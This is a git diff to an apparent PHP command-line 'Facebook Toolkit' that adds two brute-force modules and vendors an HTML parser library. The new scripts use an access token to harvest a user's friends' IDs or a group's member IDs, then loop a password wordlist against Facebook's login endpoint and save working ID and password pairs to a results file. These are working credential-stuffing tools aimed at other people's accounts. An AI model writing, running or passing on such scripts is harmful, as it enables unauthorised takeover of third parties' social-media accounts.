diff --git a/composer.json b/composer.json index 45ad416..ee60e04 100644 --- a/composer.json +++ b/composer.json @@ -1,5 +1,6 @@ { "require": { - "league/climate": "^3.5" + "league/climate": "^3.5", + "paquettg/php-html-parser": "^2.0" } } diff --git a/composer.lock b/composer.lock index c3cf41b..b432892 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "6689e458c41901b3f761ecbf802dadd0", + "content-hash": "84f6ffe6dd84a0e8f414046f79eded7a", "packages": [ { "name": "league/climate", @@ -67,6 +67,102 @@ ], "time": "2019-02-10T18:25:19+00:00" }, + { + "name": "paquettg/php-html-parser", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/paquettg/php-html-parser.git", + "reference": "77e4a44b0916690b4300fe9abf98fd05bbba48f0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paquettg/php-html-parser/zipball/77e4a44b0916690b4300fe9abf98fd05bbba48f0", + "reference": "77e4a44b0916690b4300fe9abf98fd05bbba48f0", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "paquettg/string-encode": "~1.0.0", + "php": ">=7.1" + }, + "require-dev": { + "mockery/mockery": "^1.2", + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^7.5.1" + }, + "type": "library", + "autoload": { + "psr-0": { + "PHPHtmlParser": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gilles Paquette", + "email": "paquettg@gmail.com", + "homepage": "http://gillespaquette.ca" + } + ], + "description": "An HTML DOM parser. It allows you to manipulate HTML. Find tags on an HTML page with selectors just like jQuery.", + "homepage": "https://github.com/paquettg/php-html-parser", + "keywords": [ + "dom", + "html", + "parser" + ], + "time": "2019-02-10T01:35:49+00:00" + }, + { + "name": "paquettg/string-encode", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/paquettg/string-encoder.git", + "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paquettg/string-encoder/zipball/a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee", + "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.5.1" + }, + "type": "library", + "autoload": { + "psr-0": { + "stringEncode": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gilles Paquette", + "email": "paquettg@gmail.com", + "homepage": "http://gillespaquette.ca" + } + ], + "description": "Facilitating the process of altering string encoding in PHP.", + "homepage": "https://github.com/paquettg/string-encoder", + "keywords": [ + "charset", + "encoding", + "string" + ], + "time": "2018-12-21T02:25:09+00:00" + }, { "name": "psr/log", "version": "1.1.0", diff --git a/modules/config.php b/modules/config.php index 1d1f691..88f18a5 100644 --- a/modules/config.php +++ b/modules/config.php @@ -10,50 +10,6 @@ * Please respect me for making this tool from the beginning. */ -/** Cek Additional */ -$climate->br()->info('Oops, additional programs are needed to run this tool.'); -sleep(5); -$climate->br()->info('Start a check for needs..'); -progress($progress); - -if(!fsockopen("$cek_connection", 80)) { - die ("" . $climate->br()->backgroundRed()->out("Could not open the server, connection issues?")); -} - -if(phpversion() < "7.0.0"){ - die ("" . $climate->br()->backgroundRed()->out("Your PHP Version is " . phpversion() . ", this PHP Version no support, please update to PHP Version 7.")); -} - -if(!function_exists('curl_init')) { - die ("" . $climate->br()->backgroundRed()->out("cURL not found! please install cURL")); -} - -$climate->br()->backgroundGreen()->out('Congratulations, the requirements for the program have been fulfilled.'); -sleep(5); -/** End Cek Additional */ - -print $banner; -sleep(3); -$climate->table($data_socialmedia); -sleep(3); - -/** Cek Status */ -if($status == "hidup"){ - -} else if($status == "autoupdate"){ - $climate->br()->backgroundRed()->out('This tool is being updated automatically..'); - system('git fetch --all'); - system('git reset --hard origin/master'); - system('git pull origin master'); - exit; -} else if($status == "update"){ - $climate->br()->backgroundRed()->out('Sorry, this tool has expired, the latest version is available : ' . $update . ', please update again.'); - $climate->br()->info("usage : 'php run.php -update' or 'php run.php -u'"); - exit; -} else { - exit; -} -/** End Cek Status */ /** Token Validation Function */ diff --git a/modules/menu.php b/modules/menu.php index 08d8645..ee65514 100644 --- a/modules/menu.php +++ b/modules/menu.php @@ -173,6 +173,18 @@ 'information' => "retrieve all url profile member on group database", 'Status' => 'Active', ], + [ + 'no' => '28', + 'name' => 'Brute Force ID', + 'information' => "brute force your friends by ID", + 'Status' => 'Active', + ], + [ + 'no' => '29', + 'name' => 'Brute Force ID Member Group', + 'information' => "brute force Member Group by ID", + 'Status' => 'Active', + ], ]; /** diff --git a/run.php b/run.php index b227805..5023c46 100644 --- a/run.php +++ b/run.php @@ -50,21 +50,21 @@ /** End Arguments Usage */ /** Select */ -$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : '); +$input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : '); $pilih = $input_pilih->prompt(); /** End Select */ -if($pilih>30 OR $pilih<1){ +if($pilih>29 OR $pilih<1){ $climate->br()->error('Options not available, please choose existing ones!'); /** Enter Select return */ - $input_pilih = $climate->br()->shout()->input('> Enter your choice (1-30) : '); + $input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : '); $pilih = $input_pilih->prompt(); /** End Select return */ - if($pilih>30 OR $pilih<1) $type = "wahyuarifpurnomo"; + if($pilih>29 OR $pilih<1) $type = "wahyuarifpurnomo"; } if($pilih==1){ $type = "tools/getAccessToken/getAccessToken"; @@ -147,6 +147,12 @@ }elseif($pilih==27){ $type = "tools/getLinkMemberGroup/getLinkMemberGroup"; $namatools = "\e[1;32mview all data link member group\e[0m"; +}elseif($pilih==28){ + $type = "tools/getBruteID/getBruteID"; + $namatools = "\e[1;32mbrute force your friends by ID\e[0m"; +}elseif($pilih==29){ + $type = "tools/getBruteIDMemberGroup/getBruteIDMemberGroup"; + $namatools = "\e[1;32mbrute force Member Group by ID\e[0m"; } if($type=="wahyuarifpurnomo"){ $climate->br()->error("You don't choose anywhere tools."); diff --git a/tools/getBruteID/getBruteID.php b/tools/getBruteID/getBruteID.php new file mode 100644 index 0000000..d321b8e --- /dev/null +++ b/tools/getBruteID/getBruteID.php @@ -0,0 +1,129 @@ +br()->input('Wordlist?'); + $list_password = $input->prompt(); + + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000"); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + $wahyuarifpurnomo = curl_exec($curl); + curl_close($curl); + + $decode = json_decode($wahyuarifpurnomo); + + $climate->br()->info('Required retrieve ID'); + sleep(3); + $climate->br()->info('Starting retrieve ID..'); + echo "\n"; + progress($progress); + + $no = 0; + foreach ($decode->data as $hasil) { + $no++; + $colorstring = getName($n); + if (!empty($hasil->id)) { + echo $no.".". $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n"; + $save = fopen('tmp/id.log', 'a'); + fwrite($save, $hasil->id ."\n"); + fclose($save); + } + } + + $list_id = "tmp/id.log" or die ("File ID not found!"); + $climate->br()->info('Retrieve ID success'); + sleep(3); + $climate->br()->info('Starting brute force your friends by ID..'); + echo "\n"; + progress($progress); + + ######################################################### + + $no = 0; + function brute($username, $password, $no, $url_brute) { + + $dom = new Dom; + + $save_dir_live = "result/bruteforce-live.txt"; + $save_dir_die = "result/bruteforce-die.txt"; + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url_brute ."/login.php?login_attempt=1"); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); + curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}"); + curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); + $login = curl_exec($ch); + + $dom->loadStr($login, []); + $contents = $dom->find('title'); + + if($contents == "Masuk Facebook | Facebook"){ + echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n"; + $save = fopen($save_dir_die, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + }else if($contents == "Coba lagi nanti"){ + echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n"; + $save = fopen($save_dir_die, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + }else{ + echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n"; + $save = fopen($save_dir_live, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + } + } + + $file = file_get_contents("$list_id"); + $username = explode("\n", str_replace("\r", "", $file)); + + $file = file_get_contents("$list_password"); + $password = explode("\n", str_replace("\r", "", $file)); + + foreach($username as $users) { + $users = @trim($users); + foreach($password as $pass) { + $no++; + $pass = @trim($pass); + echo brute($users,$pass, $no, $url_brute); + } + } +############################################# + + $save_dir_live = "result/bruteforce-live.txt"; + $save_dir_die = "result/bruteforce-die.txt"; + + $climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die .'".'); + $climate->br()->info('Cleaning log..'); + echo "\n"; + progress($progress); + $delete = "tmp/id.log"; + unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m"); + sleep(3); + $climate->br()->info('Done cleaning log.'); + +/** + * Author : Wahyu Arif Purnomo + * Name : Facebook Toolkit++ + * Version : 1.6 + * Update : 15 June 2019 + * + * If you are a reliable programmer or the best developer, please don't change anything. + * If you want to be appreciated by others, then don't change anything in this script. + * Please respect me for making this tool from the beginning. + */ \ No newline at end of file diff --git a/tools/getBruteIDMemberGroup/getBruteIDMemberGroup.php b/tools/getBruteIDMemberGroup/getBruteIDMemberGroup.php new file mode 100644 index 0000000..4b7aa89 --- /dev/null +++ b/tools/getBruteIDMemberGroup/getBruteIDMemberGroup.php @@ -0,0 +1,146 @@ +br()->input('Wordlist?'); + $list_password = $input->prompt(); + + $input = $climate->br()->input('Username or ID Group?'); + $id = $input->prompt(); + + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/?access_token=" . $token); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + $wahyuarifpurnomo = curl_exec($curl); + curl_close($curl); + + $decode = json_decode($wahyuarifpurnomo); + + $name_group = $decode->name; + + $climate->br()->info('Group name is ' .$name_group); + sleep(3); + + $save_dir_name = "tmp/id_" . $name_group .".log"; + + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/members/?access_token=" . $token . '&limit=999999999999'); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + $wahyuarifpurnomo = curl_exec($curl); + curl_close($curl); + + $decode = json_decode($wahyuarifpurnomo); + + $climate->br()->info('Starting retrieve ID Member Group..'); + echo "\n"; + progress($progress); + + $no = 0; + foreach ($decode->data as $hasil) { + $no++; + $colorstring = getName($n); + if (!empty($hasil->id)) { + echo $no.".". $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n"; + + $save_name = fopen($save_dir_name, 'a'); + fwrite($save, $hasil->id . "\n"); + fclose($save_name); + } + } + + $list_id = "tmp/id_" . $name_group . ".log" or die ("File ID not found!"); + $climate->br()->info('Retrieve ID success'); + sleep(3); + $climate->br()->info('Starting brute force your friends by ID Member Group..'); + echo "\n"; + progress($progress); + + ######################################################### + + $no = 0; + function brute($username, $password, $no, $url_brute) { + + $dom = new Dom; + + $save_dir_live = "result/bruteforce_membergroup-live.txt"; + $save_dir_die = "result/bruteforce_membergroup-die.txt"; + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url_brute ."/login.php?login_attempt=1"); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); + curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}"); + curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); + $login = curl_exec($ch); + + $dom->loadStr($login, []); + $contents = $dom->find('title'); + + if($contents == "Masuk Facebook | Facebook"){ + echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n"; + $save = fopen($save_dir_die, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + }else if($contents == "Coba lagi nanti"){ + echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n"; + $save = fopen($save_dir_die, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + }else{ + echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n"; + $save = fopen($save_dir_live, 'a'); + fwrite($save, $username . "|" . $password . "\n"); + fclose($save); + } + } + + $file = file_get_contents("$list_id"); + $username = explode("\n", str_replace("\r", "", $file)); + + $file = file_get_contents("$list_password"); + $password = explode("\n", str_replace("\r", "", $file)); + + foreach($username as $users) { + $users = @trim($users); + foreach($password as $pass) { + $no++; + $pass = @trim($pass); + echo brute($users,$pass, $no, $url_brute); + } + } +############################################# + + $save_dir_live = "result/bruteforce_membergroup-live.txt"; + $save_dir_die = "result/bruteforce_membergroup-die.txt"; + + $climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die .'".'); + $climate->br()->info('Cleaning log..'); + echo "\n"; + progress($progress); + $delete = "tmp/id.log"; + unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m"); + sleep(3); + $climate->br()->info('Done cleaning log.'); + +/** + * Author : Wahyu Arif Purnomo + * Name : Facebook Toolkit++ + * Version : 1.6 + * Update : 15 June 2019 + * + * If you are a reliable programmer or the best developer, please don't change anything. + * If you want to be appreciated by others, then don't change anything in this script. + * Please respect me for making this tool from the beginning. + */ \ No newline at end of file diff --git a/vendor/composer/autoload_namespaces.php b/vendor/composer/autoload_namespaces.php index b7fc012..9e9dfb6 100644 --- a/vendor/composer/autoload_namespaces.php +++ b/vendor/composer/autoload_namespaces.php @@ -6,4 +6,6 @@ $baseDir = dirname($vendorDir); return array( + 'stringEncode' => array($vendorDir . '/paquettg/string-encode/src'), + 'PHPHtmlParser' => array($vendorDir . '/paquettg/php-html-parser/src'), ); diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php index 8284de8..b68ee6e 100644 --- a/vendor/composer/autoload_static.php +++ b/vendor/composer/autoload_static.php @@ -36,11 +36,29 @@ class ComposerStaticInita36784190aa4c9e039245c33394b476e ), ); + public static $prefixesPsr0 = array ( + 's' => + array ( + 'stringEncode' => + array ( + 0 => __DIR__ . '/..' . '/paquettg/string-encode/src', + ), + ), + 'P' => + array ( + 'PHPHtmlParser' => + array ( + 0 => __DIR__ . '/..' . '/paquettg/php-html-parser/src', + ), + ), + ); + public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInita36784190aa4c9e039245c33394b476e::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInita36784190aa4c9e039245c33394b476e::$prefixDirsPsr4; + $loader->prefixesPsr0 = ComposerStaticInita36784190aa4c9e039245c33394b476e::$prefixesPsr0; }, null, ClassLoader::class); } diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json index ab5f29a..15cddf7 100644 --- a/vendor/composer/installed.json +++ b/vendor/composer/installed.json @@ -62,6 +62,106 @@ "terminal" ] }, + { + "name": "paquettg/php-html-parser", + "version": "2.0.2", + "version_normalized": "2.0.2.0", + "source": { + "type": "git", + "url": "https://github.com/paquettg/php-html-parser.git", + "reference": "77e4a44b0916690b4300fe9abf98fd05bbba48f0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paquettg/php-html-parser/zipball/77e4a44b0916690b4300fe9abf98fd05bbba48f0", + "reference": "77e4a44b0916690b4300fe9abf98fd05bbba48f0", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "paquettg/string-encode": "~1.0.0", + "php": ">=7.1" + }, + "require-dev": { + "mockery/mockery": "^1.2", + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^7.5.1" + }, + "time": "2019-02-10T01:35:49+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "PHPHtmlParser": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gilles Paquette", + "email": "paquettg@gmail.com", + "homepage": "http://gillespaquette.ca" + } + ], + "description": "An HTML DOM parser. It allows you to manipulate HTML. Find tags on an HTML page with selectors just like jQuery.", + "homepage": "https://github.com/paquettg/php-html-parser", + "keywords": [ + "dom", + "html", + "parser" + ] + }, + { + "name": "paquettg/string-encode", + "version": "1.0.1", + "version_normalized": "1.0.1.0", + "source": { + "type": "git", + "url": "https://github.com/paquettg/string-encoder.git", + "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paquettg/string-encoder/zipball/a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee", + "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "phpunit/phpunit": "^7.5.1" + }, + "time": "2018-12-21T02:25:09+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "stringEncode": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gilles Paquette", + "email": "paquettg@gmail.com", + "homepage": "http://gillespaquette.ca" + } + ], + "description": "Facilitating the process of altering string encoding in PHP.", + "homepage": "https://github.com/paquettg/string-encoder", + "keywords": [ + "charset", + "encoding", + "string" + ] + }, { "name": "psr/log", "version": "1.1.0", diff --git a/vendor/paquettg/php-html-parser/.gitattributes b/vendor/paquettg/php-html-parser/.gitattributes new file mode 100644 index 0000000..afc2bfb --- /dev/null +++ b/vendor/paquettg/php-html-parser/.gitattributes @@ -0,0 +1,10 @@ +/tests export-ignore +/.scrutinizar.yml export-ignore +/.travis.yml export-ignore +/.gitignore export-ignore +/CHANGELOG.md export-ignore +/CONTRIBUTING.md export-ignore +/LICENSE.md export-ignore +/README.md export-ignore +/phpunit.php export-ignore +/phpunit.xml export-ignore diff --git a/vendor/paquettg/php-html-parser/.scrutinizer.yml b/vendor/paquettg/php-html-parser/.scrutinizer.yml new file mode 100644 index 0000000..8b3532b --- /dev/null +++ b/vendor/paquettg/php-html-parser/.scrutinizer.yml @@ -0,0 +1,41 @@ +filter: + paths: [src/*] + excluded_paths: [tests/*] +checks: + php: + code_rating: true + remove_extra_empty_lines: true + remove_php_closing_tag: true + remove_trailing_whitespace: true + fix_use_statements: + remove_unused: true + preserve_multiple: false + preserve_blanklines: true + order_alphabetically: true + fix_php_opening_tag: true + fix_linefeed: true + fix_line_ending: true + fix_identation_4spaces: true + fix_doc_comments: true +tools: + external_code_coverage: + timeout: 600 + runs: 3 + php_code_coverage: false + php_code_sniffer: + config: + standard: PSR2 + filter: + paths: ['src'] + php_loc: + enabled: true + excluded_dirs: [vendor, test] + php_cpd: + enabled: true + excluded_dirs: [vendor, test] +build: + nodes: + analysis: + tests: + override: + - php-scrutinizer-run diff --git a/vendor/paquettg/php-html-parser/composer.json b/vendor/paquettg/php-html-parser/composer.json new file mode 100644 index 0000000..108b710 --- /dev/null +++ b/vendor/paquettg/php-html-parser/composer.json @@ -0,0 +1,33 @@ +{ + "name": "paquettg/php-html-parser", + "type": "library", + "version": "2.0.2", + "description": "An HTML DOM parser. It allows you to manipulate HTML. Find tags on an HTML page with selectors just like jQuery.", + "keywords": ["html", "dom", "parser"], + "homepage": "https://github.com/paquettg/php-html-parser", + "license": "MIT", + "authors": [ + { + "name": "Gilles Paquette", + "email": "paquettg@gmail.com", + "homepage": "http://gillespaquette.ca" + } + ], + "require": { + "php": ">=7.1", + "ext-mbstring": "*", + "paquettg/string-encode": "~1.0.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.5.1", + "mockery/mockery": "^1.2", + "php-coveralls/php-coveralls": "^2.1" + }, + "autoload": { + "psr-0": { + "PHPHtmlParser": "src/" + } + }, + "minimum-stability": "dev", + "prefer-stable": true +} diff --git a/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Content.php b/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Content.php new file mode 100644 index 0000000..0aa6b1c --- /dev/null +++ b/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Content.php @@ -0,0 +1,254 @@ +'; + protected $slash = " />\r\n\t"; + protected $attr = ' >'; + + /** + * Content constructor. + * + * @param string $content + */ + public function __construct(string $content = '') + { + $this->content = $content; + $this->size = strlen($content); + $this->pos = 0; + } + + /** + * Returns the current position of the content. + * + * @return int + */ + public function getPosition(): int + { + return $this->pos; + } + + /** + * Gets the current character we are at. + * + * @param int $char + * @return string + */ + public function char(int $char = null): string + { + $pos = $this->pos; + if ( ! is_null($char)) { + $pos = $char; + } + + if ( ! isset($this->content[$pos])) { + return ''; + } + + return $this->content[$pos]; + } + + /** + * Moves the current position forward. + * + * @param int $count + * @return Content + * @chainable + */ + public function fastForward(int $count): Content + { + $this->pos += $count; + + return $this; + } + + /** + * Moves the current position backward. + * + * @param int $count + * @return Content + * @chainable + */ + public function rewind(int $count): Content + { + $this->pos -= $count; + if ($this->pos < 0) { + $this->pos = 0; + } + + return $this; + } + + /** + * Copy the content until we find the given string. + * + * @param string $string + * @param bool $char + * @param bool $escape + * @return string + */ + public function copyUntil(string $string, bool $char = false, bool $escape = false): string + { + if ($this->pos >= $this->size) { + // nothing left + return ''; + } + + if ($escape) { + $position = $this->pos; + $found = false; + while ( ! $found) { + $position = strpos($this->content, $string, $position); + if ($position === false) { + // reached the end + $found = true; + continue; + } + + if ($this->char($position - 1) == '\\') { + // this character is escaped + ++$position; + continue; + } + + $found = true; + } + } elseif ($char) { + $position = strcspn($this->content, $string, $this->pos); + $position += $this->pos; + } else { + $position = strpos($this->content, $string, $this->pos); + } + + if ($position === false) { + // could not find character, just return the remaining of the content + $return = substr($this->content, $this->pos, $this->size - $this->pos); + $this->pos = $this->size; + + return $return; + } + + if ($position == $this->pos) { + // we are at the right place + return ''; + } + + $return = substr($this->content, $this->pos, $position - $this->pos); + // set the new position + $this->pos = $position; + + return $return; + } + + /** + * Copies the content until the string is found and return it + * unless the 'unless' is found in the substring. + * + * @param string $string + * @param string $unless + * @return string + */ + public function copyUntilUnless(string $string, string $unless) + { + $lastPos = $this->pos; + $this->fastForward(1); + $foundString = $this->copyUntil($string, true, true); + + $position = strcspn($foundString, $unless); + if ($position == strlen($foundString)) { + return $string.$foundString; + } + // rewind changes and return nothing + $this->pos = $lastPos; + + return ''; + } + + /** + * Copies the content until it reaches the token string., + * + * @param string $token + * @param bool $char + * @param bool $escape + * @return string + * @uses $this->copyUntil() + */ + public function copyByToken(string $token, bool $char = false, bool $escape = false) + { + $string = $this->$token; + + return $this->copyUntil($string, $char, $escape); + } + + /** + * Skip a given set of characters. + * + * @param string $string + * @param bool $copy + * @return Content|string + */ + public function skip(string $string, bool $copy = false) + { + $len = strspn($this->content, $string, $this->pos); + + // make it chainable if they don't want a copy + $return = $this; + if ($copy) { + $return = substr($this->content, $this->pos, $len); + } + + // update the position + $this->pos += $len; + + return $return; + } + + /** + * Skip a given token of pre-defined characters. + * + * @param string $token + * @param bool $copy + * @return Content|string + * @uses $this->skip() + */ + public function skipByToken(string $token, bool $copy = false) + { + $string = $this->$token; + + return $this->skip($string, $copy); + } +} diff --git a/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Curl.php b/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Curl.php new file mode 100644 index 0000000..8ce8fa3 --- /dev/null +++ b/vendor/paquettg/php-html-parser/src/PHPHtmlParser/Curl.php @@ -0,0 +1,46 @@ + at the end (html5 style) + * + * @var array + */ + protected $noSlash = []; + + /** + * Returns the inner html of the root node. + * + * @return string + */ + public function __toString(): string + { + return $this->root->innerHtml(); + } + + /** + * A simple wrapper around the root node. + * + * @param string $name + * @return mixed + */ + public function __get($name) + { + return $this->root->$name; + } + + /** + * Attempts to load the dom from any resource, string, file, or URL. + * + * @param string $str + * @param array $options + * @return Dom + * @chainable + */ + public function load(string $str, array $options = []): Dom + { + AbstractNode::resetCount(); + // check if it's a file + if (strpos($str, "\n") === false && is_file($str)) { + return $this->loadFromFile($str, $options); + } + // check if it's a url + if (preg_match("/^https?:\/\//i", $str)) { + return $this->loadFromUrl($str, $options); + } + + return $this->loadStr($str, $options); + } + + /** + * Loads the dom from a document file/url + * + * @param string $file + * @param array $options + * @return Dom + * @chainable + */ + public function loadFromFile(string $file, array $options = []): Dom + { + return $this->loadStr(file_get_contents($file), $options); + } + + /** + * Use a curl interface implementation to attempt to load + * the content from a url. + * + * @param string $url + * @param array $options + * @param CurlInterface $curl + * @return Dom + * @chainable + */ + public function loadFromUrl(string $url, array $options = [], CurlInterface $curl = null): Dom + { + if (is_null($curl)) { + // use the default curl interface + $curl = new Curl; + } + $content = $curl->get($url); + + return $this->loadStr($content, $options); + } + + /** + * Parsers the html of the given string. Used for load(), loadFromFile(), + * and loadFromUrl(). + * + * @param string $str + * @param array $option + * @return Dom + * @chainable + */ + public function loadStr(string $str, array $option = []): Dom + { + $this->options = new Options; + $this->options->setOptions($this->globalOptions) + ->setOptions($option); + + $this->rawSize = strlen($str); + $this->raw = $str; + + $html = $this->clean($str); + + $this->size = strlen($str); + $this->content = new Content($html); + + $this->parse(); + $this->detectCharset(); + + return $this; + } + + /** + * Sets a global options array to be used by all load calls. + * + * @param array $options + * @return Dom + * @chainable + */ + public function setOptions(array $options): Dom + { + $this->globalOptions = $options; + + return $this; + } + + /** + * Find elements by css selector on the root node. + * + * @param string $selector + * @param int $nth + * @return mixed + */ + public function find(string $selector, int $nth = null) + { + $this->isLoaded(); + + return $this->root->find($selector, $nth); + } + + /** + * Find element by Id on the root node + * + * @param int $id + * @return mixed + */ + public function findById(int $id) + { + $this->isLoaded(); + + return $this->root->findById($id); + } + + /** + * Adds the tag (or tags in an array) to the list of tags that will always + * be self closing. + * + * @param string|array $tag + * @return Dom + * @chainable + */ + public function addSelfClosingTag($tag): Dom + { + if ( ! is_array($tag)) { + $tag = [$tag]; + } + foreach ($tag as $value) { + $this->selfClosing[] = $value; + } + + return $this; + } + + /** + * Removes the tag (or tags in an array) from the list of tags that will + * always be self closing. + * + * @param string|array $tag + * @return Dom + * @chainable + */ + public function removeSelfClosingTag($tag): Dom + { + if ( ! is_array($tag)) { + $tag = [$tag]; + } + $this->selfClosing = array_diff($this->selfClosing, $tag); + + return $this; + } + + /** + * Sets the list of self closing tags to empty. + * + * @return Dom + * @chainable + */ + public function clearSelfClosingTags(): Dom + { + $this->selfClosing = []; + + return $this; + } + + + /** + * Adds a tag to the list of self closing tags that should not have a trailing slash + * + * @param $tag + * @return Dom + * @chainable + */ + public function addNoSlashTag($tag): Dom + { + if ( ! is_array($tag)) { + $tag = [$tag]; + } + foreach ($tag as $value) { + $this->noSlash[] = $value; + } + + return $this; + } + + /** + * Removes a tag from the list of no-slash tags. + * + * @param $tag + * @return Dom + * @chainable + */ + public function removeNoSlashTag($tag): Dom + { + if ( ! is_array($tag)) { + $tag = [$tag]; + } + $this->noSlash = array_diff($this->noSlash, $tag); + + return $this; + } + + /** + * Empties the list of no-slash tags. + * + * @return Dom + * @chainable + */ + public function clearNoSlashTags(): Dom + { + $this->noSlash = []; + + return $this; + } + + /** + * Simple wrapper function that returns the first child. + * + * @return \PHPHtmlParser\Dom\AbstractNode + */ + public function firstChild(): \PHPHtmlParser\Dom\AbstractNode + { + $this->isLoaded(); + + return $this->root->firstChild(); + } + + /** + * Simple wrapper function that returns the last child. + * + * @return \PHPHtmlParser\Dom\AbstractNode + */ + public function lastChild(): \PHPHtmlParser\Dom\AbstractNode + { + $this->isLoaded(); + + return $this->root->lastChild(); + } + + /** + * Simple wrapper function that returns count of child elements + * + * @return int + */ + public function countChildren(): int + { + $this->isLoaded(); + + return $this->root->countChildren(); + } + + /** + * Get array of children + * + * @return array + */ + public function getChildren(): array + { + $this->isLoaded(); + + return $this->root->getChildren(); + } + + /** + * Check if node have children nodes + * + * @return bool + */ + public function hasChildren(): bool + { + $this->isLoaded(); + + return $this->root->hasChildren(); + } + + /** + * Simple wrapper function that returns an element by the + * id. + * + * @param string $id + * @return \PHPHtmlParser\Dom\AbstractNode|null + */ + public function getElementById($id) + { + $this->isLoaded(); + + return $this->find('#'.$id, 0); + } + + /** + * Simple wrapper function that returns all elements by + * tag name. + * + * @param string $name + * @return mixed + */ + public function getElementsByTag(string $name) + { + $this->isLoaded(); + + return $this->find($name); + } + + /** + * Simple wrapper function that returns all elements by + * class name. + * + * @param string $class + * @return mixed + */ + public function getElementsByClass(string $class) + { + $this->isLoaded(); + + return $this->find('.'.$class); + } + + /** + * Checks if the load methods have been called. + * + * @throws NotLoadedException + */ + protected function isLoaded(): void + { + if (is_null($this->content)) { + throw new NotLoadedException('Content is not loaded!'); + } + } + + /** + * Cleans the html of any none-html information. + * + * @param string $str + * @return string + */ + protected function clean(string $str): string + { + if ($this->options->get('cleanupInput') != true) { + // skip entire cleanup step + return $str; + } + + // remove white space before closing tags + $str = 